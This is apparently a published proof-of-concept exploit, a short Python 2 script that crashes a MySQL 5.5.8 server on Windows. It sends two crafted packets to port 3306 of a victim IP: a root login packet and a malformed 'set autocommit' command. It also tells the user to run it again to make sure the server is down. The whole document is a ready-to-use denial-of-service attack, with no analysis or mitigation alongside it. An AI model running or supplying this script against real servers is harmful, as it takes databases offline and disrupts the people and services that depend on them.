MySQL 5.5.8 - Remote Denial of Service

import socket, sys

print "\n"
print "----------------------------------------------------------------"
print "| MySQL 5.5.8 Null Ptr (windows)                                |"
print "| Level Smash the Stack                                         |"
print "----------------------------------------------------------------"
print "\n"

buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00")

buf2=("\x11\x00\x00\x00\x03set autocommit30")

def usage():
print "usage : ./mysql.py <victim_ip>"
print "example: ./mysql.py 192.168.1.22"


def main():
if len(sys.argv) != 2:
usage()
sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

HOST = sys.argv[1]
PORT = int(3306)
s.connect((HOST,PORT))
print "[*] Connect"
s.send(buf)
print "[*] Payload 1 sent"
s.send(buf2)
print "[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n"
s.close()

if __name__ == "__main__":
main()